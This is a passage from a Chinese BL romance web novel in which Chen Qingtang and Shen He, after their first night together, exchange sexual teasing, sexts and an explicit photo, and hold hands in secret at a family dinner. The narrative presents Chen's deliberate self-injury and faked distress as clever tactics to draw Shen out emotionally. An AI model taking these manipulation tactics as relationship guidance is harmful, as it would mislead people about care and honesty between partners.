还故意用那块布,在小清棠上擦了几下,直到擦干净。 嘴里柔声抱怨着:“好久没那个了,稍微有点稠。” 然后陈清棠手指勾着那块布,故意举起到沈鹤眼前,还晃了几下: “刚穿过的~还温热,只是气味可能有点重,要吗?” 沈鹤眼神跟随着一起晃荡,眼睛已经被刺激到充血发红。 听见陈清棠这么问,他的手下意识抬了起来。 陈清棠没忍住嗤笑了声。 呀,身体真是诚实。 于是下一瞬,沈鹤如梦初醒般,本就发红的脸更红了。 他猛然收回手,满含罪恶地将目光从那块布料上挪开了。 沈鹤不回答也没关系,陈清棠直接勾着沈鹤胸前的衬衫口袋,把那玩意儿塞了进去。 塞一半,露一半,露出的一半就那样吊着。 像是沈鹤半遮半露的欲望。 陈清棠拍拍沈鹤的胸口,暧昧勾笑:“送你了,好好对它……” 沈鹤的眸色说不清是亮了两分,还是沉了两分,含混着复杂的情绪,像是在跟自己做心理抗争。 (……) 陈清棠稍微缓过来一点后,有些懒洋洋的,迷蒙着看向沈鹤:“刚才突然那样,吓我一跳。” 沈鹤紧绷的身体松懈下来,整个人往前一栽,扑向陈清棠。 他把陈清棠怜爱地抱在怀里,沉默很久,终是无可奈何一般:“下次别说话好吗。” 陈清棠想起沈鹤梅开二度,这是第二次因为他的一句话失控,就觉得好笑,忍不住笑出声: “一点荤话而已,就那么听不得?” 沈鹤捂住他的嘴,不许他笑:“陈清棠,你真招人恨。” 陈清棠拿开他的手,抱住他:“谢谢。我还招人爱呢。” 沈鹤拿出湿巾纸,抱着他,认真地给他清理了下。 然后在陈清棠的额头上落下一个轻柔的吻,虔诚又温柔道:“我爱你。” 陈清棠闭着眼养神,嗓音也透着餍足后的慵懒:“嗯,我知道。” 沈鹤:“想听你说。” 陈清棠:“说什么。” 沈鹤的手臂将他圈得更紧,那点晦涩的心思在这个拥抱中半藏半露。 要主动开口要爱,对沈鹤来说还是过于羞耻。 陈清棠从来心思剔透,很快便明白了沈鹤到底是想听什么。 眉眼柔和几分,却故意闭口不谈。 陈清棠的爱很重,重到能搭上自己的两辈子,只为能跟沈鹤心意相通,圆满相爱。 如果沈鹤的爱,没有他这样重,如果沈鹤,没有他爱得这样的决然、坚定,那陈清棠就不愿意对沈鹤说爱。 总觉得,不公平。 陈清棠的高傲还有自尊,不允许他回应这样一份,看似满了,实则半灌水的爱。 陈清棠翻了个身,把头埋在沈鹤胸口:“沈鹤。” 沈鹤:“嗯。” 陈清棠:“再多爱我一点。” 再多爱一点,他或许……或许就可以将自己完全交付了。 沈鹤亲吻他的软发:“好。我爱你。” 陈清棠忽然有点生气,他宁愿沈鹤闭上嘴巴,别对他说爱。 但最终陈清棠只是轻叹一声。 算了。 感受到沈鹤的呼吸在逐渐平稳,身。体也在变得放松,陈清棠轻声喊他:“沈鹤。” 沈鹤鼻音很重:“嗯。” 陈清棠:“?你困了?” 沈鹤立马睁开眼:“没有。” 陈清棠轻笑:“好了,困了就睡。没关系的。” 从见到沈鹤那一刻起,陈清棠就知道沈鹤很疲惫,这个人眼底的青黑都遮不住了。 陈清棠能猜到,大概是为了通宵给他赶制那一束纸玫瑰,沈鹤应该昨晚都没怎么睡。 沈鹤:“那你呢。跟我一起睡吗。” 陈清棠:“大白天的,我睡不着,你睡吧,我守着你。” 沈鹤抱紧他:“好。” 话是这么说的,直到两个小时候后,陈清棠小眯了一会儿醒来,实在是睡不着了。 就这么待着也很无聊,想玩儿会手机,也怕吵醒沈鹤。 而且到饭点儿了,陈清棠真是有点饿了。 于是陈清棠悄咪咪地爬了起来,轻手轻脚地穿上衣服,然后离开了酒店。 第一次对他来说还是有点负担的,走路时,下半身有股撕裂的疼痛感。 看来最近沈鹤要饿一阵了。 虽然对沈鹤有点残酷,但让他养两天缓缓再说。 出了酒店,陈清棠直接回了家。 也就那么几十步路的距离,回家方便 主要是……回家换身衣服,再拿条新的内裤。 下面不穿空荡荡的,漏风,就算一直在宾馆跟沈鹤待在一起,也总不能光着腚吧。 结果陈清棠还没进门,就被在院子里玩儿的楚希给逮了个正着。 楚希从身后闪现,一把搂住他脖子:“哟哟哟,是谁回来了?我还以为你这两天都要陪沈鹤呢。” 陈清棠:“他睡着了,我回家弄点吃的。” 外卖不干净,还是家里的好。 陈清棠扭头又问他:“陈女士在家吗。” 楚希:“哦,你妈跟我妈逛街去了。” 陈清棠点点头,陈女士不在的话正好,免得拉着他对沈鹤问东问西的。 而陈清棠的父亲,最近出差也不在家。 陈清棠从门口的地垫下摸出钥匙,自己开了门,进屋后就直奔厨房。 这大热天的,他想弄点冰镇绿豆汤来喝,顺便给沈鹤带回去一些。 楚希就跟在他屁股后面转悠:“给我也整点!” 一边给他打下手递东西,一边想起什么似的,看了眼陈清棠屁股,问他:“诶,你俩是不是do了?” 陈清棠一挑眉:“嗯啊。” 楚希用肩膀顶他:“爽不爽?疼吗?疼多点还是爽多点?” 陈清棠掀起眼皮看了他一眼:“爽。” 他才不告诉楚希,他这两天晚上睡觉都含着玉势,把自己身。体给打开了的,不然根本不可能受得了沈鹤。 陈清棠也不想跟沈鹤的第一次,都是他在败兴地喊疼。 楚希立刻眼睛放光,羡慕道:“真好,希望我这个暑假,也能把周辰拿下。” 陈清棠手上忙活着洗绿豆:“要我帮忙出主意吗。” 楚希:“那可太棒了!陈大师你说,我接下来该怎么做,我想跟他确认关系。” 陈清棠复盘了下他俩的状况:“你们现在就是互相喜欢,并且也知道对方喜欢自己,对吗。” 楚希小鸡啄米:“对,就差一个名分,他老不告白。” 陈清棠把锅拿过来,把绿豆倒进去:“你还有没有关系好的朋友,同性异性都可以。” 楚希:“有啊!我人缘那杠杠的!” 楚希不像陈清棠那样不爱社交,他最爱到处蹦跶,广交朋友,为人又够义气,而且大方,经常请朋友吃饭啊,出去玩儿的之类的,大家都喜欢他。 陈清棠:“除了我之外,有那种暑假能约出去玩儿的吗。” 楚希摸着下巴想了想:“有。咋了?” 陈清棠往锅里倒进糖,搅拌几下打开了火:“你有空组个局,把你的朋友和周辰都叫来,最好人多一些。” 楚希想不透:“然后呢?就大家在一起玩儿啊?” 陈清棠笑了下,转身看着他:“周辰是不是没怎么看到过,你在人群里的样子?” 楚希回忆了下:“是吧。我不喜欢有人打扰我跟他相处,基本我跟周辰在一起时,都只有我们两人。” 陈清棠了然如心:“那你就按我说的去做。只需要一场聚会就够了。” 楚希满脑袋问号:“为啥啊?” 陈清棠一点点给他解释。 楚希的魅力就在于,不管有再多人,他在人群里总是最闪耀的那一个。 楚希总能快速让人群,围绕着他展开话题和活动,快速把所有人的注意力,都吸引到自己身上。 他完全就是现实版的万人迷。 所以,把楚希放到人群里,最能凸显出他的耀眼,放大他的优势和亮点。 周辰一定没有体会过,看见楚希被众星捧月,他甚至挤都挤不进去的那种感受。 那就让他好好体会一把。 楚希听完陈清棠的解说,眼睛一点点亮起来,但很快又有所担忧:“你的意思是,让我跟别的男人打得火热,刺激他,让他生气吃醋?” 陈清棠摇摇头:“不要做那种事,如果真心喜欢一个人,就不要让第三者介入,用吃醋去刺激他。这不对。” 所以陈清棠在钓沈鹤的时候,哪怕沈鹤对他说出‘好像喜欢’这种渣男发言,陈清棠也只是去激化沈鹤的欲望,逼着他看清自己,而不是拉来一个男的去刺激沈鹤。 不管一段感情怎样,产生了什么矛盾,什么问题,那都是他们两个人需要去面对和解决的。 如果需要第三者的刺激推动,才能辅助度过难关,那两人之间建立起的羁绊是很脆弱的,这段感情是很虚浮的。 陈清棠耐心同他剖析:“在聚会上,你只需要照常对待他,但不要在众人面前,表露你跟他之间的关系。” 楚希似懂非懂:“哦……为什么呢。” 陈清棠:“周辰会因为你太过受欢迎,而产生危机感。你只需要稍微引导他去发现——只要有名分,就能名正言顺地站在你身边,谁也抢不走他的位置就好。” 楚希恍然大悟,竖起大拇指:“大师我悟了!” 陈清棠拍拍他肩:“把那个碗柜里的盒子给我递过来。” 等会儿就用盒子装绿豆汤给沈鹤。 楚希一边听他指挥,一边又问:“那你跟沈鹤,你打算怎么办?他还是不肯跟你坦白,他的伤口怎么来的吗?” 陈清棠动作顿了下,忽然朝楚希仰起脸:“你用什么,把我的额头打破。” 楚希:“???那我不得心疼死吗。” 陈清棠:“别管,打我。” 楚希试探着拿起一个勺子,在他额头上敲了一下。 陈清棠:“……用力,起码要破皮。” 楚希立刻摇头:“那不行,我下不了手。你是不是不记得,小时候你摔伤了,我哭得比你都厉害。” 陈清棠就是很值得别人心疼啊,就是很好很好啊,就是要被大家捧在心尖上宠的呀。 楚希一直都忘不了,读初中时,他被人霸凌,陈清棠看见他受欺负,拉着他的手,一路一路挨个教室找过去。 去找那些人报仇,给他讨个公道。 那时陈清棠也是小小的一只,高年级的人长得那么牛高马大,楚希怕得发抖,但陈清棠不怕,一直护着他,还能跟那些人理论。 理论不行,最后是动了手的。 楚希那时性格比较软弱,只知道哭,陈清棠打完架回来,脸上挂着伤,还得牵他去小卖部,给他买冰棍哄他。 楚希一想起那些事,就感动得不要不要的,一把抱住陈清棠:“棠宝我爱你。” 陈清棠鸡皮疙瘩都竖起来了:“松手。不松手我揍人了。” 楚希黏糊糊地缠着他:“那你揍吧,揍死我吧。让我死在你怀里。” 陈清棠轻吸一口气,开始推他。 两人就这么一拉一扯的。 陈清棠本来今天身体就不舒服,沈鹤干得太狠了,就这么在两人玩闹的推搡中,他撞到了柜子上。 咚的一声响。 楚希愣住了,反应过来后立刻去看他:“棠你怎么了?哎呀撞到头了,该死,我对不起你……” 陈清棠倒是没多大事,捂着额头:“还省事了,不用你给我敲出一个包了。” 楚希掰开他的手,一边给他吹额头上的小包,一边说:“你到底为啥非要弄出一个包来啊。” 陈清棠平和道:“当然是给沈鹤看。” 楚希:“为什么?” 陈清棠别开他,去看锅里的绿豆汤:“因为我跟沈鹤之间的事情,我解决不了。” 因为是沈鹤单方面不对他打开心。 这件事,不管陈清棠如何强求,都是行不通的。 陈清棠:“那我就把问题踢回去,丢给沈鹤解决。” 化被动为主动。 那么第一步,就是让沈鹤发现,他们俩之间存在的问题——彼此没有对对方打开自己的心。 陈清棠只需要以其人之道还治其人之身,创造一个同样的情况。 陈清棠爱沈鹤,所以看见沈鹤受了伤后,会关心他的伤口是怎么来的,会在意他疼不疼,发生了什么难过的事。 如今沈鹤也爱陈清棠,那么,沈鹤在看见陈清棠受伤的情况下,也会跟陈清棠有同样的反应。 一旦沈鹤开始心疼陈清棠,在意他为什么受伤,是否难过,那主动权就回到了陈清棠这边。 他就能钓着沈鹤,让沈鹤看见他们之间的问题。 那时候沈鹤就会明白,他们之间的爱实在太浅淡,太脆弱,他们的灵魂没有交融。 只要沈鹤爱他,陈清棠就不信,沈鹤能容忍这种情况继续存在。 他要沈鹤突破一切来爱他,拼尽全力来爱他,不顾一切来爱他。 陈清棠:“如果事情陷入僵局,无法突破对方的防御,那就让自己成为那个变量……” 如今陈清棠就让自己成为了那个变量,他要用自己做局,去引诱沈鹤走出防御圈。 楚希心疼他的额头:“会留疤吗?我回头给你买点药擦擦。” 陈清棠轻笑:“不用。” 他就不信沈鹤不心疼,不会给他买药。 楚希:“摸摸,不疼不疼~” 锅里的绿豆汤也好了,陈清棠用手把他刨开:“好了,别挡着我出锅。” 陈清棠给楚希盛了一碗,自己也盛了一碗,其余的都用盒子装起来了。 然后午饭是在楚希家吃的,他家喜欢请阿姨。 陈清棠吃完后,还给沈鹤打包了一份,刚回家拿上绿豆汤,就收到了沈鹤的消息。 沈鹤:我醒了,你怎么不在 沈鹤:中午想吃什么,我订餐厅 陈清棠笑了下,没回信,只是加快脚步。 五分钟后,又收到沈鹤的消息 沈鹤:回我 沈鹤:你不在我心里空唠唠的 陈清棠刚好站在酒店的房间门口,他抬手敲了敲门。 下一刻门就被急切地拉开了。 沈鹤确认是他,直接把人搂进了怀里。 陈清棠拍拍他背:“好了,外面有人……” 沈鹤将他打横抱起,抱在怀里,然后用脚踢上了门。 他说话的语气,已经不像以前那样人机、冰冷 而是带着人味儿的怜惜:“你才刚那个过,别下床走路。” 陈清棠失笑:“我腿又没断,而且我们就做了一次,不影响。” 沈鹤抱着他走到床边,小心翼翼地将人放下。 他忍得很辛苦,才只做了一次。 不然陈清棠根本下不来床。 沈鹤正要问他去做什么了,一抬眼忽然瞧见,陈清棠的额角挂着一个小包,都青了一块。 顿时,沈鹤冷沉的眉头往下压了两寸。 第55章第55章不许自己碰 沈鹤压着眉,手指轻轻摩挲着陈清棠的伤口边缘:“怎么弄的。” 陈清棠偏头,别开他的手,只是说:“我给你带了绿豆汤,还有吃的,饿了吧?” 他推开沈鹤,打开拎过来的包,把里面的饭盒一样一样拿出来。 沈鹤捉住他的手,表情认真:“头是怎么破的,发了什么事。” 陈清棠仍然不正面回答,反而牛头不对马嘴地说:“饭是楚希家阿姨做的,他家口味吃得比较重,你先尝尝能不能习惯,不好吃的话我们再去外面吃。” 沈鹤不再说话,而是深深地看着陈清棠,看了很久。 陈清棠把饭盒打开,推到他面前:“吃吧。我吃过了,不用给我留。” 沈鹤拿起筷子,一边吃东西一边目不转睛地看着他。 陈清棠笑了笑:“我脸上有花儿?” 沈鹤眼神变得柔和,又扫向他的伤口:“疼吗。” 陈清棠却是抬手抚上他的脸:“你疼吗。到底是谁下这么重的手,都红肿了。” 故意转移话题,是陈清棠给沈鹤的机会,他希望沈鹤能在此刻跟他坦白,这样的话也不晚。 否则他接下来就只能用钓的了,那个过程也许不会太美好。 沈鹤一顿,眼睫快速颤动几下,却是挪开目光看向桌面,沉默不语。 陈清棠也不再说话。 一顿饭吃得很安静,沈鹤一边吃一边看手机,差不多半个小时,他吃完的时候,敲门声响了。 陈清棠下意识要起身,沈鹤比他先一步:“我去。” 两分钟后,沈鹤回来了,手里拎着一个外卖袋子。 陈清棠就看着他把袋子打开,从里面拿出来一些药品,还有创口贴,不禁轻轻勾起嘴角。 沈鹤倒腾了一会儿药品,手里拿着个棉花球,挨着陈清棠坐下:“可能会疼,忍一下。” 陈清棠:“嗯。” 沈鹤先用酒精给他消了下毒,然后上了点药,最后贴上了创口贴。 陈清棠看他操作完这一系列,都没忍住笑:“小题大做。” 就在柜子上撞了下,能有多严重? 沈鹤没说话。 跟陈清棠伤口的大小和轻重没关系,沈鹤只是在用自己细致的对待,来表达他对陈清棠的疼惜。 陈清棠也学着沈鹤的样子,给沈鹤脸上的伤口消了毒,最后在他额头的伤口贴上了创口贴。 沈鹤眼也不眨地看着他,最后陈清棠完事时,他一把将人搂进了怀里。 陈清棠微怔,回应地抱住他,轻声问他:“疼吗。” 沈鹤摇摇头,再次问:“你疼吗。” 为什么不跟他说,发生了什么事。 是像他一样,被亲人打的吗? 受了委屈吗? 心里有难过吗? 还有没有别的,他没看见的伤口? 陈清棠忽然说:“沈鹤,你想要我怎么做呢。” 沈鹤微顿,他想要的……他想要陈清棠告诉他发生了什么。 实在不行,起码坦白地跟他说自己很疼,向他袒露那些隐藏起来的情绪,向他索求关心和怜惜。 但,陈清棠不主动开口,沈鹤觉得他没资格要求对方这样做。 因为那是陈清棠的私事。 沈鹤还不懂,恋人之间的亲密无间该是怎样的。 沈鹤没有感受过良好的亲密关系,所以他也不会跟人建立亲密关系。 沈鹤甚至会觉得,强行跟对方靠得很近,去要求对方像他袒露伤口和脆弱,是一种无礼,是一种冒犯。 因为每个人都有难堪和脆弱,每个人都不会想被人看见自己的难堪和脆弱。 陈清棠等了他很久,也没等到回答。 最终陈清棠推开沈鹤:“好了,不说这个了。” 他总会把沈鹤调。教好的。 陈清棠退了一步,沈鹤忽然就有些不上不下的。 隐约感觉两人之间不太对 但沈鹤又说不上来哪里不对,心口微微堵着。 沈鹤只是脑子里闪过几个念头: 想让陈清棠扑进他怀里撒娇 想多知道陈清棠的事一点 想看见陈清棠的所有,包括他的脆弱、伤口 一下午,陈清棠和沈鹤都待在酒店里。 两人一起看了几部电影,一起打了几把游戏,晚饭也是点的外卖。 然后天黑了。 沈鹤有些眼巴巴的,很显然是想让陈清棠留下来陪他过夜的。 但陈清棠说:“我妈在家等我,我家教比较严,晚上有门禁。” 于是沈鹤只能放他回去。 其实陈家还算是宽松,陈妈妈基本对陈清棠都是放养,除了去哪儿要给她报备下,别让她找不到人外,其余都很自由。 那只是陈清棠找的借口。 一对刚做过爱、互通心意的小情侣,最好不要一直待在一起。 因为这时候,两人只是受荷尔蒙的影响,觉得自己很爱对方,但其实,彼此之间存在很多问题。 比如,两人的心还没有完全靠拢的。 比如,兴趣爱好的不同,三观之间的分歧等。 在这样的情况下,待在一起的时间长了,反而会很快暴露一些短板。 比如,不打游戏不看剧,不进行娱乐活动,两人根本就没话说,没什么可聊的,甚至有点无聊。 这是很致命的。 谈恋爱为什么第一个字是谈呢? 就是得两个人静下心来好好交流,谈三观,谈家庭,谈对爱情、人生的见解,彼此互相深入了解,进行思想观念的求同存异和磨合。 而不是一起吃吃喝喝玩玩乐乐,那是找的陪玩搭子,而不是找的人生伴侣。 所以,在两人灵魂还没交融的时候,在谈恋爱的前期阶段,不如开心过后,就及时分开 保留那种朦胧暧昧,又荷尔蒙上头的美好体验。 这样对方的心,会时刻挂在你身上,想着你,念着你,煎熬又幸福。 陈清棠回家是沈鹤送的。 沈鹤送他送到小别墅的门口,才止住脚步。 陈清棠有意逗他,邀请他进门,沈鹤坚决不肯。 月光下,晚风清凉,陈清棠就看着他笑:“那我走了?” 沈鹤嗯了声,眸子微微闪动。 陈清棠:“我真的走了?” 沈鹤的手微微抬起一个很小的弧度,最终又安静地落了回去。 外面有人,被看见不好。 陈清棠看在眼里,他故意走出几步,然后趁着沈鹤没反应过来,飞快地转身回去,在沈鹤的脸上落下一个吻。 看着沈鹤眸色若云开见月般一点点亮了,陈清棠凑近他耳边,轻声呢喃: “傻子,男朋友要走了都不知道亲一个。下次记住了吗?” 沈鹤耳根慢慢发红,眼神很亮地看着他,点了点头。 陈清棠见他后知后觉地伸出手,似乎要来抱自己,一个闪现躲开,再朝沈鹤抛了个迷死人的wink。 然后直接小跑着进了别墅,八月的夜风吹起他的衣角,像一只翩跹的蝴蝶。 沈鹤的蝴蝶就那样飞走了,离他越来越远。 门砰的一声被关上,沈鹤仍然失魂落魄地在原地站了好久。 手还忍不住摸着脸上,刚才被陈清棠亲吻过的地方。 陈清棠一进屋,就被他正坐在沙发上看宫斗剧的老妈逮住了。 陈妈妈盘着腿,磕着瓜子儿:“约会回来了啊。” 陈清棠走过去坐在旁边的沙发上:“嗯啊。” 陈妈妈拿着遥控器把电视的声音关小了点,然后一副三司会审的样子望着他:“你俩干啥呢?我听楚希说,你下午也没在家?” 这时陈清棠的手机响了下,他一边低头回消息,一边同陈妈妈说话:“没做什么,就在酒店待了一天。” 沈鹤:到了吗 陈清棠:到了,我妈正在审问我 聊天框变成了[对方正在输入中……] 沈鹤输入了很久。 陈妈妈拿眼神上下掂量他一圈儿:“做安全措施了没?男孩子之间也要做安全措施,不然对身体不好。” 陈清棠故意逗沈鹤,按了语音,把陈妈妈的话录进去了,然后发给了沈鹤。 这才回陈妈妈:“放心,我多大的人了。” 陈妈妈又扭头看电视去了。 沈鹤的消息很快就来了:我身体很健康,每天都健身,没有病 沈鹤:之前我做了体检,过两天出报告我发给看 沈鹤:以后我会注意戴那个 陈清棠看他一口气发了一大段,忍不住笑起来。 陈清棠:慌什么,我知道 陈清棠:但……我就喜欢被你透 砰咚,沈鹤的手机没拿稳掉了。 那张俊美的脸几乎是瞬间爆红。 沈鹤就那么怔了会儿,然后猛然闭了闭眼,深吸了好几口气。 沈鹤:别折磨我 陈清棠磕着瓜子儿:又激动了? 沈鹤:…… 沈鹤是个没办法说谎的人,陈清棠一秒就明白了。 陈清棠:呀~那要怎么办呢…… 沈鹤再没有了回信。 陈清棠又扭头跟陈妈妈说话:“您早上在公园吗?看见他了吗?” 他跟沈鹤约定见面的地方,是陈妈妈晨练的公园。 之前陈妈妈说要看沈鹤,陈清棠才把见面地点改在那儿的。 陈妈妈嗐了声,眼珠子还盯着电视剧:“没看着,有个谁,拉着我非要跟你说媒,叽里呱啦说一大堆,我走不开……” 陈清棠:“别答应别人啊。你答应了,到时候就你自己跟他们结婚,我有男朋友了。” 陈妈妈打了他一下:“你妈我是那种不懂事儿的家长吗。我当场就说,我儿子已经有对象了。” 又问:“对了,那孩子走了吗?” 陈清棠瞅准时机,按下了微信的语音键:“没有。在酒店住着的。” 陈妈妈:“你这不是不懂事儿吗,人老远来看你,你就让他住酒店?咱家又不是没床。” 陈清棠懒洋洋的,特意拉长了语调:“他喜欢住酒店。” 陈妈妈忽然凑过来,笑着说:“那明天你把他叫出来,我们一起吃个饭呗。” “哦对,楚希妈妈明天邀请我们家一起去下馆子,说你跟楚希好不容易回家一趟,两家聚聚,但楚希一家也不是外人,楚希跟你男朋友也认识吧?你叫上他一起嘛。” 陈清棠装模作样:“我问问他。” 话音落下,他就松手把这段语音发了出去。 沈鹤很快回复:不了,帮我谢谢阿姨 陈清棠抬头对他妈说:“他不好意思,就不来了。” 陈妈妈惋惜地啧了声:“小年轻,脸皮儿真薄。” 陈清棠站起身,一边回自己屋,一边打字跟沈鹤说话 陈清棠:那明天你怎么办? 他肯定是不会放任沈鹤一个人的,就是故意逗逗沈鹤。 沈鹤:你去跟家人吃饭吧 陈清棠:你不想见我,不想跟我约会吗? 沈鹤:想 陈清棠正要说,他不去跟家人吃饭,就看见沈鹤又发了句 沈鹤:明天我会跟在你身后 陈清棠:??? 沈鹤:我想看你,想见你 陈清棠心说,好家伙,是要跟他搞点地下情啊。 陈清棠:你不愿意见我家人? 沈鹤:还不是时候 在他还没跟家里出柜前,在沈家还没接受他要跟一个男人相爱前,沈鹤不想惊动陈清棠的家长。 那不公平,是对陈清棠的不负责任。 陈清棠:好吧 地下恋情也挺刺激的,他还没玩儿过那一套呢。 陈清棠躺在床上,忽然坏心眼地问:你刚那啥了是怎么解决的? 顶端的备注框又变成了[对方正在输入中……] 但陈清棠等了几十秒,都没看见回复。 陈清棠又问:自己碰了吗 沈鹤:没 陈清棠翘着脚打字,有几分恶劣:我不在,不许自己碰 又是很久,沈鹤都没有回信。 隔着屏幕陈清棠都能想象到,沈鹤的脸该是怎么好看的红色。 他按下语音键盘,挑着尾音软声蛊惑:“如果你能忍住,明天我给你奖励~保管不让你失望……” 此时沈鹤一手拿着手机,贴在耳边听语音,另一只手抓着陈清棠今早上留给他的东西,似乎还在犹豫。 自从上次陈清棠让他用这个做了那种事后,沈鹤就好像解开了什么禁制。 一边觉得可耻,变态,一边又扼制不住地想偷点欢愉解渴。 他感受过的,被满是陈清棠的气息包裹着的感觉 更多的是,心理上难以形容的愉悦感…… 沈鹤一想到要做这种事,仍然满是挣扎和罪恶,道德感像是勒着他脖颈的绳子 但沈鹤已经找到了,为自己开脱的完美理由——陈清棠允许。 于是沈鹤那些如同下水道里的苔藓般,阴暗的疯狂妄念,在陈清棠允许的这块免死金牌下,稍微钻出来,窥见了一点天光。 看到陈清棠的消息回复,沈鹤难忍地皱起了眉头。 最终还是把东西收了起来。 像一只被主人下了禁止令的大狗。 好不容易,沈鹤才安抚好了那些躁动的欲念。 这时却收到了陈清棠发来的一张图片。 沈鹤点开看 图片上,陈清棠半靠在床头,一只手撩起衬衫,另一只手,抓着一条四四方方的布料,正揉着小清棠。 涩气四溢 一瞬间,沈鹤大脑充血,倒抽一口冷气。 沈鹤一眼认出,那是他的东西。 难怪他找不到,只能拿条新的穿,原来是被陈清棠带走了。 陈清棠:等我安抚下它就睡,晚安 沈鹤哪里还睡得着啊,心头原本被强行掐灭的一点火星子,如见了夏风一般,瞬间疯长,烈烈地烧着心 烧得沈鹤几乎有几分痛苦了,盯着那张图看了大半夜,越看越烧心,但还不能自己碰。 就这么忍了一夜。 第二天陈清棠跟陈妈妈还有楚希一家,一起出去吃饭 吃饭的地方不是什么高档餐厅,就一般的小家饭馆,也没什么包厢,就桌子挨着桌子那种。 主要是楚希妈妈说这家特别好吃,想带他们来尝尝。 到了餐厅坐下,陈清棠跟楚希俩坐的一方,陈妈妈跟楚妈妈两人,坐在的对面一方。 陈清棠特意四周望了一圈儿,却没看见沈鹤。 陈清棠:你人呢 不是说想见他吗,不是说会跟在他身后吗。 狗东西,骗人。 沈鹤:回头 陈清棠怔了下,缓缓回头,就看见了隔壁桌,坐在他身后,紧挨着他的沈鹤。 沈鹤今天穿了件清爽的T恤,头上戴了顶鸭舌帽,酷帅酷帅的。 陈清棠笑了下,又扭过头继续打字。 陈清棠:头压得那么低做什么 沈鹤:不想被楚希认出来 陈清棠还没回他,就看见后台进来了楚希的消息。 楚希:我天!你男人!就坐在你背后! 陈清棠抬头冲楚希使了个眼色 楚希立马回复收到,扭头跟两个妈妈聊天,岔开他们的注意力。 陈清棠把楚希的话截图给沈鹤看。 沈鹤:…… 陈清棠:昨晚自己碰了吗 沈鹤:没 陈清棠稍微侧着身子坐:那,你把手放下来,伸到我这边来 沈鹤:好了 下一刻,沈鹤的手心,就被什么挠了下。 痒痒的,从手心痒一直痒到心口,痒得沈鹤下意识把手握成了拳头。 陈清棠动作更快,在沈鹤做出反应前,就把手指收回去了。 陈清棠:要牵吗 沈鹤摩挲着手心:很多人,你妈妈在 这时陈妈妈刚好同陈清棠说话:“小棠你怎么坐的?你人都快侧着坐到隔壁桌了,规矩点。” 陈清棠只是说:“腿太长了,放在桌底下不舒服。” 一边回复沈鹤:所以要牵吗……会很刺激 沈鹤心跳漏了一拍。 陈清棠:你想牵吗 暗地里,他已经伸出手,用手背蛊惑地去蹭沈鹤的手背 一下…… 两下…… 三下…… 第四下时,沈鹤猛地一把捉住了他恶作剧的手,自暴自弃地用掌心包裹住 捏捏手指,又捏捏手腕,最后十指紧扣。 陈清棠嘴角都压不住:乖孩子,在家长的眼皮子底下做这种事,刺激吗 沈鹤只能听见心跳砰咚、砰咚的声响,躁动得厉害。 不知道为什么,沈鹤一想到,如果是沈父坐在隔壁桌,而他跟陈清棠在桌底下这样…… 就有一股解气的感觉。 爽快得好像空气都清新了。 陈清棠故意聊起昨晚的事,给予沈鹤更多刺激:昨晚你真的没自己碰? 沈鹤:嗯 陈清棠:乖孩子~我发你的图片好看吗 沈鹤又想起那张色气至极的照片…… 想起那片莹白的肌肤,还有渴望着他,被他的贴身衣物安抚着的小清棠。 沈鹤顿时有些口干舌燥了,耳朵也逐渐发红。 羞耻地无法坦诚承认。 陈清棠游刃有余地勾他:有没有,看着它幻想一些不好的事…… 哐当,沈鹤左手拿着的勺子,掉落在了碗里。 陈清棠听着他的不淡定,愉悦地弯起漂亮的眼睛:看来你欣赏了它很久,还保存了吧? 沈鹤仍然没有回复。 陈清棠余光瞥了眼旁边,沈鹤端坐的身子已经变得僵硬,耳朵红透了,红到耳根都是可怖的绯色。 呀,他还以为,沈鹤已经被他撩拨得有了抗体呢。 看来换个环境,在大庭广众之下,沈鹤还是会害羞。 那不得给他玩儿点刺激play? 中国人有句老话——来都来了。 今天必须让沈鹤吃点刺激的,限量版的。 陈清棠继续煽风点火:你的内裤,昨晚被我弄脏了 陈清棠:小清棠很喜欢它,哭了好多 陈清棠:我一直在哄,越哄越哭,最后把布都湿透了 陈清棠听到沈鹤倒抽一口冷气的声音 随后是沈鹤猛烈喝汤的声音,咕咚咕咚的,不停地吞咽。 他都怕沈鹤被呛到。 接着陈清棠就看到了沈鹤发来的消息 沈鹤:别说了 隔着屏幕都能感受到沈鹤的咬牙切齿。 陈清棠无辜道:为什么 还明知故问:又应了? 陈清棠:年轻人就是容易激动~ 沈鹤:我去趟厕所 滋啦——隔壁传来凳子被拉开的声音,近乎有点粗暴。 陈清棠往走廊的方向看了眼,就看到沈鹤疾步匆匆的背影,好像有火跟在他后面烧似的。 精瘦的腰上还系着件防晒外套罩衫。 陈清棠勾起一个得逞的笑。 结果幸灾乐祸还没三秒,他的手把筷子打翻了,筷子弹起来一瞬,直接戳到了眼睛。 筷头上还沾着一点菜里的辣椒油。 陈清棠顿时哈气:“嘶——” 他忙去抽纸巾,想擦擦眼睛。 坐他旁边一直在玩儿游戏的楚希,伸着脑袋过来问:“咋了棠?你眼睛不舒服啊?” 陈清棠闷声:“筷子戳眼睛了,上面有辣椒,好辣……” 楚希:“那你快去厕所,用冷水洗洗。” 他拉开等着站起身,就要去扶着陈清棠。 陈清棠想了下:“我自己去,你坐着吧。” 楚希:“你自己能行吗?” 陈清棠:“可以的。” 他捂着眼睛朝厕所的方向走了。 辣椒实在是太辣了,陈清棠的眼睛痛得厉害,都睁不开,一直在流泪。 还好只有一只眼睛遭殃,另一只好好的,还能视物。 只是因为疼痛,也泛着泪光。 等到了厕所,陈清棠把纸巾叠了叠,伸到水龙头底下,用水把纸巾打湿,再温和地擦擦眼睛。 这时旁边隔间的门开了,沈鹤从里面走出来。 看见陈清棠的一瞬,沈鹤先是顿了下,很快朝他走过去。 陈清棠的肩膀被拍,他猛地抬头。 下一刻,沈鹤就对上了一双泪意盈盈的眼。 这双眼睛很漂亮,笑起来时璀璨若银河,动情时含着朦胧情潮,能醉得让人想溺死在那片眸光里面。 但此刻,这双眼睛盈着泪珠,满是委屈,让人心都快碎了。 沈鹤伸出手抚上陈清棠的脸,语气温柔至极:“怎么了?” 陈清棠很快明白他误会了。 天赐机会。 今天适合下饵钓鱼。 陈清棠思绪转圜几秒,他低下头,似隐忍,又似难过:“没。” 沈鹤指腹替他擦去眼角的泪:“我走了后,发生了什么?” 才这么片刻 又受委屈了吗 心里很难过吗 陈清棠咬着唇别开脸,心说这辣椒可真辣,嘴里却说:“没事,别问了。” 然后又掉了一滴泪珠子。 好辣。 沈鹤额角青筋鼓动,看着陈清棠难过破碎的神情,忍不住将他一把抱在怀里,力道大得仿佛要将人揉碎:“别这样。” 第56章第56章野餐,吃吗? 陈清棠吸了吸鼻子,忍着笑:“别怎样?” 